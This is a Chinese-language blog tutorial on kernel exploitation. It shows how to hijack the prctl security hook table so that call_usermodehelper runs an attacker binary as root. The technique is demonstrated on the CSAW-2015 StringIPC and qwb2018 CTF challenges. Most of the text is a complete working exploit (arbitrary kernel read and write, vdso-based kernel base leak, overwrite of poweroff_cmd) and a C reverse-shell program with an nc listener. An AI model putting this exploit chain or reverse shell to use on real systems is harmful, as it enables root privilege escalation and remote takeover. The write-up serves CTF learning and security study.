0%

linux kernel pwn学习之hijack prctl

Prctl是linux的一个函数,可以对进程、线程做一些设置,prctl内部通过虚表来调用对应的功能,如果我们劫持prctl的虚表,使它指向其他对我们有帮助的内核函数,比如call_usermodehelper函数,该函数执行一个用户传入的二进制文件,且以root权限执行,由此可以利用起来提权。

我们分析一下prctl源码,在linux/kernel/sys.c里,我们看到这

我们继续跟进,查看security_task_prctl函数,在linux/security/security.c文件里找到

函数调用了task_prctl表里的函数,因此,如果我们劫持task_prctl表,就能通过执行prctl来执行我们想要的函数,比如call_usermodehelper函数。为了确定我们该劫持的表的地址,我们先写一个小demo.c

1
2
3
4
5
#include <sys/prctl.h>  

int main() {
prctl(0,0);
}

然后,编译,放到系统里,我们先查看一下security_task_prctl函数的地址

接下来,我们用gdb在这里断点,然后运行我们的demo程序

成功断点

继续单步运行,到这里

从而,我们确定了task_prctl表的地址,减去内核基地址,我们就能确定task_prctl的偏移了。在这里,我们得到的是偏移是0xeb8118。

有一点不幸的是, 传入security_task_prctl函数的第一个参数被截断了,这意味着,如果我们把task_prctl劫持为call_usermodehelper,在64位下不能完成利用。

因为call_usermodehelper函数的第一个参数是一个字符串地址

为了解决这个问题,我们可以借鉴一下glibc下劫持为one_gadget的思想,我们来搜索一下有没有类似的one_gadget可以使用。我们在内核源码里搜索哪些函数调用了call_usermodehelper函数。

我们发现mce_do_trigger函数可以用,它调用call_usermodehelper函数的前两个参数来自全局数据段,或许可以被我们劫持修改

我们有找到几个合适的

其中run_cmd调用了call_usermodehelper函数。由此,**我们只需要把prctl_task劫持到这几个函数,比如__orderly_poweroff,然后篡改poweroff_cmd为我们需要执行的二进制文件路径。接着调用prctl,就会以root权限执行我们的二进制文件,从而提权。**我们可以执行一个反弹shell的程序,然后用nc来连接。

为了实现上述目标,我们首先需要得到内核基址,之前,我在https://blog.csdn.net/seaaseesa/article/details/104694219这篇博客里讲到了劫持vdso,我们同样需要利用一下,我们计算出了vdso的地址后,就能算出内核的基址,因为它们之间的差值是不变的。

我们以CSAW-2015-StringIPC为例,它的exploit.c如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#include <stdio.h>  
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
//poweroff字符串的偏移
#define POWEROFF_CMD 0xE4DFA0
//orderly_poweroff函数的偏移
#define ORDERLY_POWEROFF 0x9c950
//task_prctl的偏移
#define TASK_PRCTL 0xeb8118;

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

void errExit(char *msg) {
puts(msg);
exit(-1);
}
//驱动的文件描述符
int fd;
//初始化驱动
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
errExit("[-] open file error!!");
}
}

//申请一个channel,返回id
int alloc_channel(size_t size) {
struct alloc_channel_args args;
args.buf_size = size;
args.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if (args.id == -1) {
errExit("[-]alloc_channel error!!");
}
return args.id;
}

//改变channel的大小
void shrink_channel(int id,size_t size) {
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//读取数据
void read_channel(int id,char *buf,size_t count) {
struct read_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//写数据
void write_channel(int id,char *buf,size_t count) {
struct write_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址写
//由于题目中使用了strncpy_from_user,遇到0就会截断,因此,我们逐字节写入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}
//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
errExit("[-]error get name's offset");
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
errExit("[-]error get name's offset");
}
return name_addr - vdso_addr;
}

int main() {
char *buf = (char *)calloc(1,0x1000);
initFD();
//申请一个channel,大小0x100
int id = alloc_channel(0x100);
//改变channel大小,形成漏洞,实现任意地址读写
shrink_channel(id,0x101);
//获取gettimeofday字符串在vdso.so里的偏移
int gettimeofday_str_offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
size_t vdso_addr = -1;
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
//读取一页数据
arbitrary_read(id,buf,addr,0x1000);
//如果在对应的偏移处,正好是这个字符串,那么我们就能确定当前就是vdso的地址
//之所以能确定,是因为我们每次读取了0x1000字节数据,也就是1页,而vdso的映射也只是1页
if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
printf("[+]find vdso.so!!\n");
vdso_addr = addr;
printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
break;
}
}
if (vdso_addr == -1) {
errExit("[-]can't find vdso.so!!");
}
//计算出kernel基地址
size_t kernel_base = vdso_addr & 0xffffffffff000000;
printf("[+]kernel_base=0x%lx\n",kernel_base);
size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD;
printf("[+]poweroff_cmd_addr=0x%lx\n",poweroff_cmd_addr);
size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF;
printf("[+]poweroff_cmd_addr=0x%lx\n",orderly_poweroff_addr);
size_t task_prctl_addr = kernel_base + TASK_PRCTL;
printf("[+]task_prctl_addr=0x%lx\n",task_prctl_addr);
//反弹shell,执行的二进制文件,由call_usermodehelper来执行,自带root
char reverse_command[] = "/reverse_shell";
//修改poweroff_cmd_addr处的字符串为我们需要执行的二进制文件的路径
arbitrary_write(id,reverse_command,poweroff_cmd_addr,strlen(reverse_command));
//hijack prctl,使得task_prctl指向orderly_poweroff函数
arbitrary_write(id,&orderly_poweroff_addr,task_prctl_addr,8);
if (fork() == 0) { //fork一个子进程,来触发shell的反弹
prctl(0,0);
exit(-1);
} else {
printf("[+]open a shell\n");
system("nc -lvnp 7777");
}

return 0;
}

而qwb2018-solid_core同样,也是这个解法,稍作一下修改即可。反弹shell的程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>  
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <fcntl.h>
#include <unistd.h>

char server_ip[]="127.0.0.1";
uint32_t server_port=7777;

int main()
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
while(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
system("/bin/sh");
}